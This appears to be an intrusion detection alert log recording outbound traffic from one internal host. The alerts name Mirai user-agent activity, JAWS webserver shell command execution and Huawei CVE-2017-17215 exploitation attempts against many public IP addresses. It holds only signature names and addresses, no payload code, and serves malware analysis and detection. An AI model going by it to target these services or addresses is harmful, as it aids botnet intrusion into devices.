2024-12-03T21:31:02.968130+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52132	197.130.81.175	37215	TCP
2024-12-03T21:31:04.456153+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39598	62.96.206.43	80	TCP
2024-12-03T21:31:04.456153+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39598	62.96.206.43	80	TCP
2024-12-03T21:31:04.634227+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35042	41.237.139.8	37215	TCP
2024-12-03T21:31:06.161339+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59656	41.58.197.71	37215	TCP
2024-12-03T21:31:07.784548+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45608	76.74.156.165	80	TCP
2024-12-03T21:31:07.784548+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45608	76.74.156.165	80	TCP
2024-12-03T21:31:08.859675+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42018	185.215.39.30	80	TCP
2024-12-03T21:31:08.859675+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42018	185.215.39.30	80	TCP
2024-12-03T21:31:09.175039+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44740	202.42.96.98	80	TCP
2024-12-03T21:31:09.175039+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44740	202.42.96.98	80	TCP
2024-12-03T21:31:09.185234+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44184	204.107.80.7	80	TCP
2024-12-03T21:31:09.185234+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44184	204.107.80.7	80	TCP
2024-12-03T21:31:09.207860+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36806	67.64.187.21	80	TCP
2024-12-03T21:31:09.207860+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36806	67.64.187.21	80	TCP
2024-12-03T21:31:09.215733+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59584	146.130.90.64	80	TCP
2024-12-03T21:31:09.215733+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59584	146.130.90.64	80	TCP
2024-12-03T21:31:09.222833+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60466	51.194.102.135	80	TCP
2024-12-03T21:31:09.222833+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60466	51.194.102.135	80	TCP
2024-12-03T21:31:09.255845+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56878	27.172.93.161	80	TCP
2024-12-03T21:31:09.255845+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56878	27.172.93.161	80	TCP
2024-12-03T21:31:09.262434+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45660	197.193.109.69	80	TCP
2024-12-03T21:31:09.262434+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45660	197.193.109.69	80	TCP
2024-12-03T21:31:09.272497+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40332	57.80.127.128	80	TCP
2024-12-03T21:31:09.272497+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40332	57.80.127.128	80	TCP
2024-12-03T21:31:09.300169+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57204	67.165.85.6	80	TCP
2024-12-03T21:31:09.300169+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57204	67.165.85.6	80	TCP
2024-12-03T21:31:09.311362+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45142	64.213.12.242	80	TCP
2024-12-03T21:31:09.311362+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45142	64.213.12.242	80	TCP
2024-12-03T21:31:09.331540+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43660	18.211.7.205	80	TCP
2024-12-03T21:31:09.331540+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43660	18.211.7.205	80	TCP
2024-12-03T21:31:09.356493+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45656	181.236.160.87	80	TCP
2024-12-03T21:31:09.356493+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45656	181.236.160.87	80	TCP
2024-12-03T21:31:09.356678+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42942	73.108.231.65	80	TCP
2024-12-03T21:31:09.356678+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42942	73.108.231.65	80	TCP
2024-12-03T21:31:09.356709+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41132	197.253.59.50	80	TCP
2024-12-03T21:31:09.356709+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41132	197.253.59.50	80	TCP
2024-12-03T21:31:09.362780+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53818	186.140.24.86	80	TCP
2024-12-03T21:31:09.362780+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53818	186.140.24.86	80	TCP
2024-12-03T21:31:09.372079+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33108	58.115.115.241	80	TCP
2024-12-03T21:31:09.372079+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33108	58.115.115.241	80	TCP
2024-12-03T21:31:09.372227+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35336	181.179.122.117	80	TCP
2024-12-03T21:31:09.372227+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35336	181.179.122.117	80	TCP
2024-12-03T21:31:09.381956+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59944	81.68.222.43	80	TCP
2024-12-03T21:31:09.381956+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59944	81.68.222.43	80	TCP
2024-12-03T21:31:09.388072+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59056	187.240.42.70	80	TCP
2024-12-03T21:31:09.388072+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59056	187.240.42.70	80	TCP
2024-12-03T21:31:09.434297+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49646	162.82.86.148	80	TCP
2024-12-03T21:31:09.434297+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49646	162.82.86.148	80	TCP
2024-12-03T21:31:10.206271+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36088	34.35.216.85	80	TCP
2024-12-03T21:31:10.206271+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36088	34.35.216.85	80	TCP
2024-12-03T21:31:10.272364+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38070	126.106.81.125	80	TCP
2024-12-03T21:31:10.272364+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38070	126.106.81.125	80	TCP
2024-12-03T21:31:10.279300+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37520	212.76.170.100	80	TCP
2024-12-03T21:31:10.279300+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37520	212.76.170.100	80	TCP
2024-12-03T21:31:10.299958+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48512	185.106.6.240	80	TCP
2024-12-03T21:31:10.299958+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48512	185.106.6.240	80	TCP
2024-12-03T21:31:10.309132+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60518	173.191.101.175	80	TCP
2024-12-03T21:31:10.309132+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60518	173.191.101.175	80	TCP
2024-12-03T21:31:10.309257+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54956	20.208.169.44	80	TCP
2024-12-03T21:31:10.309257+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54956	20.208.169.44	80	TCP
2024-12-03T21:31:10.324796+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53798	70.59.74.111	80	TCP
2024-12-03T21:31:10.324796+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53798	70.59.74.111	80	TCP
2024-12-03T21:31:10.523510+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34734	59.157.117.58	80	TCP
2024-12-03T21:31:10.523510+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34734	59.157.117.58	80	TCP
2024-12-03T21:31:10.531072+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41920	42.157.213.192	80	TCP
2024-12-03T21:31:10.531072+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41920	42.157.213.192	80	TCP
2024-12-03T21:31:10.531974+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40834	151.62.98.232	80	TCP
2024-12-03T21:31:10.531974+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40834	151.62.98.232	80	TCP
2024-12-03T21:31:11.089794+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53452	96.7.66.49	80	TCP
2024-12-03T21:31:11.089794+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53452	96.7.66.49	80	TCP
2024-12-03T21:31:11.096878+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60524	207.154.231.3	80	TCP
2024-12-03T21:31:11.096878+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60524	207.154.231.3	80	TCP
2024-12-03T21:31:11.159292+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52264	41.75.37.101	37215	TCP
2024-12-03T21:31:11.159447+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39614	197.135.129.229	37215	TCP
2024-12-03T21:31:11.284467+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36440	156.188.250.125	37215	TCP
2024-12-03T21:31:11.284578+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51070	41.68.120.66	37215	TCP
2024-12-03T21:31:11.284586+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40782	156.70.75.133	37215	TCP
2024-12-03T21:31:11.303396+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60002	197.119.240.72	37215	TCP
2024-12-03T21:31:11.313291+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38512	41.91.233.173	37215	TCP
2024-12-03T21:31:11.333002+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36928	197.79.214.113	37215	TCP
2024-12-03T21:31:11.340948+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58916	197.222.83.103	37215	TCP
2024-12-03T21:31:11.341136+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35808	156.69.33.115	37215	TCP
2024-12-03T21:31:11.347603+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40834	156.159.12.120	37215	TCP
2024-12-03T21:31:11.356109+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41278	197.50.83.42	37215	TCP
2024-12-03T21:31:11.356166+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43142	197.158.250.72	37215	TCP
2024-12-03T21:31:11.356322+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36032	156.110.125.63	37215	TCP
2024-12-03T21:31:11.356388+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37280	41.183.207.233	37215	TCP
2024-12-03T21:31:11.356611+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33276	197.166.189.254	37215	TCP
2024-12-03T21:31:11.393872+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40232	156.18.88.219	37215	TCP
2024-12-03T21:31:12.191814+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50944	197.59.152.207	37215	TCP
2024-12-03T21:31:12.192322+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57396	197.215.104.102	37215	TCP
2024-12-03T21:31:12.193160+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54002	93.194.223.82	80	TCP
2024-12-03T21:31:12.193160+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54002	93.194.223.82	80	TCP
2024-12-03T21:31:12.193418+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41888	8.105.165.198	80	TCP
2024-12-03T21:31:12.193418+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41888	8.105.165.198	80	TCP
2024-12-03T21:31:12.193722+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47072	136.13.75.65	80	TCP
2024-12-03T21:31:12.193722+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47072	136.13.75.65	80	TCP
2024-12-03T21:31:12.208328+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43802	79.74.148.82	80	TCP
2024-12-03T21:31:12.208328+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43802	79.74.148.82	80	TCP
2024-12-03T21:31:12.208365+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50180	208.246.133.237	80	TCP
2024-12-03T21:31:12.208365+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50180	208.246.133.237	80	TCP
2024-12-03T21:31:12.208480+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59906	145.105.254.172	80	TCP
2024-12-03T21:31:12.208480+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59906	145.105.254.172	80	TCP
2024-12-03T21:31:12.208596+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37822	25.253.247.243	80	TCP
2024-12-03T21:31:12.208596+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37822	25.253.247.243	80	TCP
2024-12-03T21:31:12.208694+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44126	32.198.110.33	80	TCP
2024-12-03T21:31:12.208694+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44126	32.198.110.33	80	TCP
2024-12-03T21:31:12.208794+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60512	143.141.87.96	80	TCP
2024-12-03T21:31:12.208794+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60512	143.141.87.96	80	TCP
2024-12-03T21:31:12.208867+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51182	46.19.30.11	80	TCP
2024-12-03T21:31:12.208867+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51182	46.19.30.11	80	TCP
2024-12-03T21:31:12.208908+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43128	4.17.178.247	80	TCP
2024-12-03T21:31:12.208908+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43128	4.17.178.247	80	TCP
2024-12-03T21:31:12.224378+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44394	52.117.45.194	80	TCP
2024-12-03T21:31:12.224378+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44394	52.117.45.194	80	TCP
2024-12-03T21:31:12.224387+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50612	2.81.246.81	80	TCP
2024-12-03T21:31:12.224387+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50612	2.81.246.81	80	TCP
2024-12-03T21:31:12.224394+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56784	23.46.95.33	80	TCP
2024-12-03T21:31:12.224394+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56784	23.46.95.33	80	TCP
2024-12-03T21:31:12.231814+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48850	156.125.207.114	37215	TCP
2024-12-03T21:31:12.231815+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60294	156.221.107.169	37215	TCP
2024-12-03T21:31:12.231819+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56978	41.140.236.148	37215	TCP
2024-12-03T21:31:12.231824+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59458	81.168.40.42	80	TCP
2024-12-03T21:31:12.231824+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59458	81.168.40.42	80	TCP
2024-12-03T21:31:12.231829+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44024	185.221.32.180	80	TCP
2024-12-03T21:31:12.231829+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44024	185.221.32.180	80	TCP
2024-12-03T21:31:12.231957+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45868	156.79.21.228	37215	TCP
2024-12-03T21:31:12.232152+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33458	92.42.91.229	80	TCP
2024-12-03T21:31:12.232152+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33458	92.42.91.229	80	TCP
2024-12-03T21:31:12.232222+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57976	199.155.1.164	80	TCP
2024-12-03T21:31:12.232222+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57976	199.155.1.164	80	TCP
2024-12-03T21:31:12.237614+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58894	97.66.36.254	80	TCP
2024-12-03T21:31:12.237614+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58894	97.66.36.254	80	TCP
2024-12-03T21:31:12.237869+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45934	139.246.200.67	80	TCP
2024-12-03T21:31:12.237869+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45934	139.246.200.67	80	TCP
2024-12-03T21:31:12.237956+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39532	5.104.106.96	80	TCP
2024-12-03T21:31:12.237956+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39532	5.104.106.96	80	TCP
2024-12-03T21:31:12.238043+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48860	168.79.240.244	80	TCP
2024-12-03T21:31:12.238043+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48860	168.79.240.244	80	TCP
2024-12-03T21:31:12.246591+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35140	167.75.81.162	80	TCP
2024-12-03T21:31:12.246591+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35140	167.75.81.162	80	TCP
2024-12-03T21:31:12.246768+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34690	142.202.33.132	80	TCP
2024-12-03T21:31:12.246768+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34690	142.202.33.132	80	TCP
2024-12-03T21:31:12.246946+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39888	96.227.56.195	80	TCP
2024-12-03T21:31:12.246946+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39888	96.227.56.195	80	TCP
2024-12-03T21:31:12.253068+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37778	197.244.48.70	37215	TCP
2024-12-03T21:31:12.253293+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44170	148.66.215.250	80	TCP
2024-12-03T21:31:12.253293+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44170	148.66.215.250	80	TCP
2024-12-03T21:31:12.253410+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45200	41.130.173.219	37215	TCP
2024-12-03T21:31:12.253645+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38100	42.199.59.6	80	TCP
2024-12-03T21:31:12.253645+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38100	42.199.59.6	80	TCP
2024-12-03T21:31:12.262736+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36052	185.96.7.190	80	TCP
2024-12-03T21:31:12.262736+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36052	185.96.7.190	80	TCP
2024-12-03T21:31:12.263051+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43838	207.88.49.48	80	TCP
2024-12-03T21:31:12.263051+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43838	207.88.49.48	80	TCP
2024-12-03T21:31:12.263279+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40592	141.173.180.9	80	TCP
2024-12-03T21:31:12.263279+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40592	141.173.180.9	80	TCP
2024-12-03T21:31:12.263442+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37090	61.41.15.72	80	TCP
2024-12-03T21:31:12.263442+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37090	61.41.15.72	80	TCP
2024-12-03T21:31:12.268871+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47556	216.131.217.108	80	TCP
2024-12-03T21:31:12.268871+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47556	216.131.217.108	80	TCP
2024-12-03T21:31:12.268901+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60610	223.111.24.66	80	TCP
2024-12-03T21:31:12.268901+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60610	223.111.24.66	80	TCP
2024-12-03T21:31:12.269055+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41738	201.148.44.14	80	TCP
2024-12-03T21:31:12.269055+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41738	201.148.44.14	80	TCP
2024-12-03T21:31:12.269171+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57176	82.135.213.51	80	TCP
2024-12-03T21:31:12.269171+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57176	82.135.213.51	80	TCP
2024-12-03T21:31:12.269362+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48818	172.153.131.92	80	TCP
2024-12-03T21:31:12.269362+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48818	172.153.131.92	80	TCP
2024-12-03T21:31:12.278327+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54830	120.196.61.187	80	TCP
2024-12-03T21:31:12.278327+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54830	120.196.61.187	80	TCP
2024-12-03T21:31:12.278422+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52706	197.216.74.198	37215	TCP
2024-12-03T21:31:12.279398+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41664	24.242.230.192	80	TCP
2024-12-03T21:31:12.279398+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41664	24.242.230.192	80	TCP
2024-12-03T21:31:12.279474+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38022	156.223.49.69	37215	TCP
2024-12-03T21:31:12.279839+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60028	104.234.241.23	80	TCP
2024-12-03T21:31:12.279839+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60028	104.234.241.23	80	TCP
2024-12-03T21:31:12.280016+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60286	138.250.81.210	80	TCP
2024-12-03T21:31:12.280016+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60286	138.250.81.210	80	TCP
2024-12-03T21:31:12.280101+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43842	41.0.186.183	37215	TCP
2024-12-03T21:31:12.280228+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35892	197.116.233.17	37215	TCP
2024-12-03T21:31:12.280424+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48190	156.190.175.18	37215	TCP
2024-12-03T21:31:12.280578+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55744	119.211.146.165	80	TCP
2024-12-03T21:31:12.280578+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55744	119.211.146.165	80	TCP
